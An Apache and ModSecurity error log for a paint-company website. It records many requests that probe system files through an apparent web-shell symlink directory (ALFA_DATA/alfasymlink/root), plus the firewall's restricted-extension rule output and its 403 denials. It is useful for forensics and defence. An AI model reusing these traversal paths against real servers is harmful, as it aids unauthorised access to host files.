[Sun Oct 25 16:43:55.716809 2026] [security2:error] [pid 2897956:tid 2897956] [client 185.191.171.15:25018] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".inc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/cookies.inc"] [unique_id "at5qC4eXrFtpgY7lwPi05wAAACU"]
[Sun Oct 25 16:43:55.717152 2026] [security2:error] [pid 2897956:tid 2897956] [client 185.191.171.15:25018] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/cookies.inc"] [unique_id "at5qC4eXrFtpgY7lwPi05wAAACU"]
[Sun Oct 25 16:43:55.717523 2026] [security2:error] [pid 2897956:tid 2897956] [client 185.191.171.15:25018] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/cookies.inc"] [unique_id "at5qC4eXrFtpgY7lwPi05wAAACU"]
[Sun Oct 25 16:44:02.357894 2026] [ssl:error] [pid 2897472:tid 2897472] (70014)End of file found: [client 3.212.86.97:13994] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:44:09.088317 2026] [core:error] [pid 2897967:tid 2897967] (13)Permission denied: [client 38.183.115.89:47647] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/objects
[Sun Oct 25 16:44:10.663201 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 44.207.252.58:53239] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:44:10.795463 2026] [core:error] [pid 2897986:tid 2897986] (13)Permission denied: [client 90.195.13.217:53226] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/objects
[Sun Oct 25 16:44:17.097772 2026] [ssl:error] [pid 2897956:tid 2897956] (95)Operation not supported: [client 85.208.96.209:63296] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:44:17.639106 2026] [ssl:error] [pid 2898267:tid 2898267] (95)Operation not supported: [client 85.208.96.209:63304] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:44:19.321567 2026] [ssl:error] [pid 2897986:tid 2897986] (70014)End of file found: [client 52.3.26.180:27594] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:44:20.081732 2026] [core:error] [pid 2897967:tid 2897967] (13)Permission denied: [client 84.247.41.51:6434] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/sanity_checks
[Sun Oct 25 16:44:20.604874 2026] [security2:error] [pid 2897654:tid 2897654] [client 185.191.171.13:50442] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/lib/rear/layout/disklayout.conf"] [unique_id "at5qJBBRkwwnkVogupUKSAAAABE"]
[Sun Oct 25 16:44:20.605258 2026] [security2:error] [pid 2897654:tid 2897654] [client 185.191.171.13:50442] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/lib/rear/layout/disklayout.conf"] [unique_id "at5qJBBRkwwnkVogupUKSAAAABE"]
[Sun Oct 25 16:44:20.605632 2026] [security2:error] [pid 2897654:tid 2897654] [client 185.191.171.13:50442] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/lib/rear/layout/disklayout.conf"] [unique_id "at5qJBBRkwwnkVogupUKSAAAABE"]
[Sun Oct 25 16:44:20.605722 2026] [security2:error] [pid 2897654:tid 2897654] [client 185.191.171.13:50442] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/lib/rear/layout/disklayout.conf"] [unique_id "at5qJBBRkwwnkVogupUKSAAAABE"]
[Sun Oct 25 16:44:20.605750 2026] [security2:error] [pid 2897654:tid 2897654] [client 185.191.171.13:50442] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/lib/rear/layout/disklayout.conf"] [unique_id "at5qJBBRkwwnkVogupUKSAAAABE"]
[Sun Oct 25 16:44:22.513106 2026] [core:error] [pid 2897956:tid 2897956] (13)Permission denied: [client 185.191.171.7:37916] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_TCP/align
[Sun Oct 25 16:44:24.520140 2026] [core:error] [pid 2898267:tid 2898267] (13)Permission denied: [client 181.46.69.241:57990] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/sanity_checks
[Sun Oct 25 16:44:26.441755 2026] [ssl:error] [pid 2897949:tid 2897949] (70014)End of file found: [client 54.156.55.147:6688] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:44:28.124203 2026] [core:error] [pid 2897472:tid 2897472] (13)Permission denied: [client 24.254.30.82:51631] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/sanity_checks
[Sun Oct 25 16:44:29.180244 2026] [core:error] [pid 2897986:tid 2897986] (13)Permission denied: [client 206.223.234.3:48913] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/destroy_by_rcu
[Sun Oct 25 16:44:31.267341 2026] [core:error] [pid 2898267:tid 2898267] (13)Permission denied: [client 176.232.120.249:60018] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/destroy_by_rcu
[Sun Oct 25 16:44:33.024130 2026] [core:error] [pid 2897992:tid 2897992] (13)Permission denied: [client 187.13.208.240:14592] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/destroy_by_rcu
[Sun Oct 25 16:44:38.376411 2026] [ssl:error] [pid 2897986:tid 2897986] (70014)End of file found: [client 34.192.125.239:37129] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:44:46.529246 2026] [ssl:error] [pid 2897992:tid 2897992] (70014)End of file found: [client 54.84.147.79:22323] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:44:58.571558 2026] [core:error] [pid 2897986:tid 2897986] (13)Permission denied: [client 3.216.227.216:59355] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:0a/subsystem/drivers/battery/bind
[Sun Oct 25 16:45:02.435217 2026] [ssl:error] [pid 2897956:tid 2897956] (70014)End of file found: [client 54.209.100.30:32388] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:45:02.435549 2026] [security2:error] [pid 2897956:tid 2897956] [client 54.209.100.30:32388] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mouse1/device/event3/subsystem/input1/device/firmware_node/physical_node/firmware_node/physical_node1/power/wakeup_total_time_ms"] [unique_id "at5qToeXrFtpgY7lwPi07AAAACU"]
[Sun Oct 25 16:45:02.435613 2026] [security2:error] [pid 2897956:tid 2897956] [client 54.209.100.30:32388] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mouse1/device/event3/subsystem/input1/device/firmware_node/physical_node/firmware_node/physical_node1/power/wakeup_total_time_ms"] [unique_id "at5qToeXrFtpgY7lwPi07AAAACU"]
[Sun Oct 25 16:45:06.630303 2026] [ssl:error] [pid 2897472:tid 2897472] (70014)End of file found: [client 3.218.103.254:35698] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:45:09.307760 2026] [core:error] [pid 2898267:tid 2898267] (13)Permission denied: [client 143.105.129.244:36856] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/reclaim_account
[Sun Oct 25 16:45:10.448375 2026] [ssl:error] [pid 2897986:tid 2897986] (70014)End of file found: [client 44.205.120.22:58929] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:45:10.936618 2026] [core:error] [pid 2897985:tid 2897985] (13)Permission denied: [client 81.53.117.159:49284] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/reclaim_account
[Sun Oct 25 16:45:13.160401 2026] [core:error] [pid 2897956:tid 2897956] (13)Permission denied: [client 80.83.29.230:35338] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/reclaim_account
[Sun Oct 25 16:45:19.075610 2026] [core:error] [pid 2897990:tid 2897990] (13)Permission denied: [client 185.191.171.15:19876] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/destroy_by_rcu
[Sun Oct 25 16:45:19.130241 2026] [ssl:error] [pid 2897953:tid 2897953] (70014)End of file found: [client 100.28.204.82:36014] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:45:22.507713 2026] [core:error] [pid 2898005:tid 2898005] (13)Permission denied: [client 3.232.82.72:53661] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/ata_piix/module/sections/__bug_table
[Sun Oct 25 16:45:23.522129 2026] [ssl:error] [pid 2897985:tid 2897985] (70014)End of file found: [client 185.191.171.13:12912] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:45:24.457358 2026] [ssl:error] [pid 2897956:tid 2897956] (70014)End of file found: [client 185.191.171.13:12916] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:45:26.848628 2026] [ssl:error] [pid 2897953:tid 2897953] (70014)End of file found: [client 23.23.213.182:57414] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:45:30.649203 2026] [ssl:error] [pid 2897990:tid 2897990] (70014)End of file found: [client 35.172.125.172:43255] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:45:34.584755 2026] [ssl:error] [pid 2898005:tid 2898005] (70014)End of file found: [client 34.224.9.144:58775] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:45:38.634169 2026] [ssl:error] [pid 2897990:tid 2897990] (70014)End of file found: [client 34.230.124.21:36579] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:45:42.419618 2026] [ssl:error] [pid 2897992:tid 2897992] (70014)End of file found: [client 54.84.169.196:63676] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:45:46.571289 2026] [ssl:error] [pid 2897986:tid 2897986] (70014)End of file found: [client 18.208.11.93:12800] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:45:48.525548 2026] [core:error] [pid 2897992:tid 2897992] (13)Permission denied: [client 64.145.93.73:33097] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/cache_dma
[Sun Oct 25 16:45:50.959139 2026] [ssl:error] [pid 2897990:tid 2897990] (70014)End of file found: [client 3.213.106.226:53773] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:45:51.306620 2026] [core:error] [pid 2897654:tid 2897654] (13)Permission denied: [client 80.192.103.162:38410] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/cache_dma
[Sun Oct 25 16:45:53.001006 2026] [core:error] [pid 2897986:tid 2897986] (13)Permission denied: [client 70.170.230.70:5660] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/cache_dma
[Sun Oct 25 16:45:54.406029 2026] [security2:error] [pid 2893744:tid 2893744] [client 107.172.76.131:64525] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5qdrwNC6PiuUzHLh6dfQAAAAs"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 16:45:54.406079 2026] [security2:error] [pid 2893744:tid 2893744] [client 107.172.76.131:64525] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5qdrwNC6PiuUzHLh6dfQAAAAs"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 16:45:54.438025 2026] [ssl:error] [pid 2897995:tid 2897995] (70014)End of file found: [client 3.213.46.222:54167] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:45:58.446430 2026] [ssl:error] [pid 2897962:tid 2897962] (70014)End of file found: [client 54.90.244.132:2744] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:46:06.609759 2026] [ssl:error] [pid 2898005:tid 2898005] (70014)End of file found: [client 18.210.58.238:52218] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:46:14.541200 2026] [ssl:error] [pid 2897986:tid 2897986] (70014)End of file found: [client 100.29.34.97:1777] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:46:14.541416 2026] [security2:error] [pid 2897986:tid 2897986] [client 100.29.34.97:1777] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/subsystem/input1/event1/device/device/driver/serio0/firmware_node/power/runtime_active_time"] [unique_id "at5qlowPVf69ciHnmg4IbgAAADQ"]
[Sun Oct 25 16:46:14.541448 2026] [security2:error] [pid 2897986:tid 2897986] [client 100.29.34.97:1777] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/subsystem/input1/event1/device/device/driver/serio0/firmware_node/power/runtime_active_time"] [unique_id "at5qlowPVf69ciHnmg4IbgAAADQ"]
[Sun Oct 25 16:46:22.930199 2026] [core:error] [pid 2897990:tid 2897990] (13)Permission denied: [client 88.231.58.168:17354] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/total_objects
[Sun Oct 25 16:46:26.537308 2026] [ssl:error] [pid 2897986:tid 2897986] (70014)End of file found: [client 52.2.83.227:31806] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:46:26.985540 2026] [core:error] [pid 2897953:tid 2897953] (13)Permission denied: [client 129.222.109.189:18502] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/total_objects
[Sun Oct 25 16:46:29.342451 2026] [core:error] [pid 2897995:tid 2897995] (13)Permission denied: [client 72.189.187.35:42900] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/total_objects
[Sun Oct 25 16:46:30.566758 2026] [ssl:error] [pid 2897949:tid 2897949] (70014)End of file found: [client 18.213.102.186:48687] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:46:34.630065 2026] [ssl:error] [pid 2897986:tid 2897986] (70014)End of file found: [client 18.207.79.144:29766] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:46:38.705428 2026] [ssl:error] [pid 2897949:tid 2897949] (70014)End of file found: [client 35.169.102.85:44538] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:46:42.624931 2026] [ssl:error] [pid 2897962:tid 2897962] (70014)End of file found: [client 34.196.237.236:42033] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:46:51.098349 2026] [ssl:error] [pid 2897985:tid 2897985] (70014)End of file found: [client 54.235.172.96:7405] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:46:54.484331 2026] [ssl:error] [pid 2897953:tid 2897953] (70014)End of file found: [client 52.4.213.199:2362] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:46:58.651048 2026] [ssl:error] [pid 2897995:tid 2897995] (70014)End of file found: [client 23.21.227.240:21120] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:47:06.630016 2026] [ssl:error] [pid 2897953:tid 2897953] (70014)End of file found: [client 54.204.12.115:18844] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:47:08.316354 2026] [core:error] [pid 2897992:tid 2897992] (13)Permission denied: [client 185.192.162.248:10486] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/total_objects
[Sun Oct 25 16:47:08.956444 2026] [security2:error] [pid 2891189:tid 2891189] [client 107.172.76.131:64532] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5qwD03oOY3EiI_RmqnbAAAAAA"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 16:47:08.956531 2026] [security2:error] [pid 2891189:tid 2891189] [client 107.172.76.131:64532] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5qwD03oOY3EiI_RmqnbAAAAAA"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 16:47:10.282328 2026] [core:error] [pid 2897995:tid 2897995] (13)Permission denied: [client 170.84.9.57:44465] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/total_objects
[Sun Oct 25 16:47:10.482380 2026] [core:error] [pid 2897967:tid 2897967] (13)Permission denied: [client 185.191.171.13:61902] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/security/ima/policy
[Sun Oct 25 16:47:10.687906 2026] [ssl:error] [pid 2897985:tid 2897985] (5)Input/output error: [client 34.194.14.255:42750] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:47:11.644313 2026] [core:error] [pid 2898267:tid 2898267] (13)Permission denied: [client 187.14.238.178:48900] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/total_objects
[Sun Oct 25 16:47:14.694826 2026] [core:error] [pid 2897956:tid 2897956] (13)Permission denied: [client 18.213.240.226:16018] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event0/subsystem/input4/event2/subsystem/input5/device/driver/pcspkr/driver/unbind
[Sun Oct 25 16:47:27.032499 2026] [ssl:error] [pid 2897962:tid 2897962] (70014)End of file found: [client 107.22.208.39:18802] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:47:29.699553 2026] [security2:error] [pid 2897995:tid 2897995] [client 34.153.214.245:36736] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "busca1.sherwinpinturas.com"] [uri "/"] [unique_id "at5q4dxWQBCaNVYVwRg2MAAAAD4"]
[Sun Oct 25 16:47:29.699596 2026] [security2:error] [pid 2897995:tid 2897995] [client 34.153.214.245:36736] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "busca1.sherwinpinturas.com"] [uri "/"] [unique_id "at5q4dxWQBCaNVYVwRg2MAAAAD4"]
[Sun Oct 25 16:47:30.849965 2026] [security2:error] [pid 2897995:tid 2897995] [client 34.153.214.245:36736] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "busca1.sherwinpinturas.com"] [uri "/"] [unique_id "at5q4txWQBCaNVYVwRg2NQAAAD4"]
[Sun Oct 25 16:47:30.850372 2026] [security2:error] [pid 2897995:tid 2897995] [client 34.153.214.245:36736] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "busca1.sherwinpinturas.com"] [uri "/"] [unique_id "at5q4txWQBCaNVYVwRg2NQAAAD4"]
[Sun Oct 25 16:47:30.850694 2026] [security2:error] [pid 2897995:tid 2897995] [client 34.153.214.245:36736] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "busca1.sherwinpinturas.com"] [uri "/"] [unique_id "at5q4txWQBCaNVYVwRg2NQAAAD4"]
[Sun Oct 25 16:47:31.253043 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.153.214.245:36774] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "busca1.sherwinpinturas.com"] [uri "/"] [unique_id "at5q4xVtY6H0wJd2uaIKTgAAADA"]
[Sun Oct 25 16:47:31.253471 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.153.214.245:36774] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "busca1.sherwinpinturas.com"] [uri "/"] [unique_id "at5q4xVtY6H0wJd2uaIKTgAAADA"]
[Sun Oct 25 16:47:31.253801 2026] [security2:error] [pid 2897967:tid 2897967] [client 34.153.214.245:36774] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "busca1.sherwinpinturas.com"] [uri "/"] [unique_id "at5q4xVtY6H0wJd2uaIKTgAAADA"]
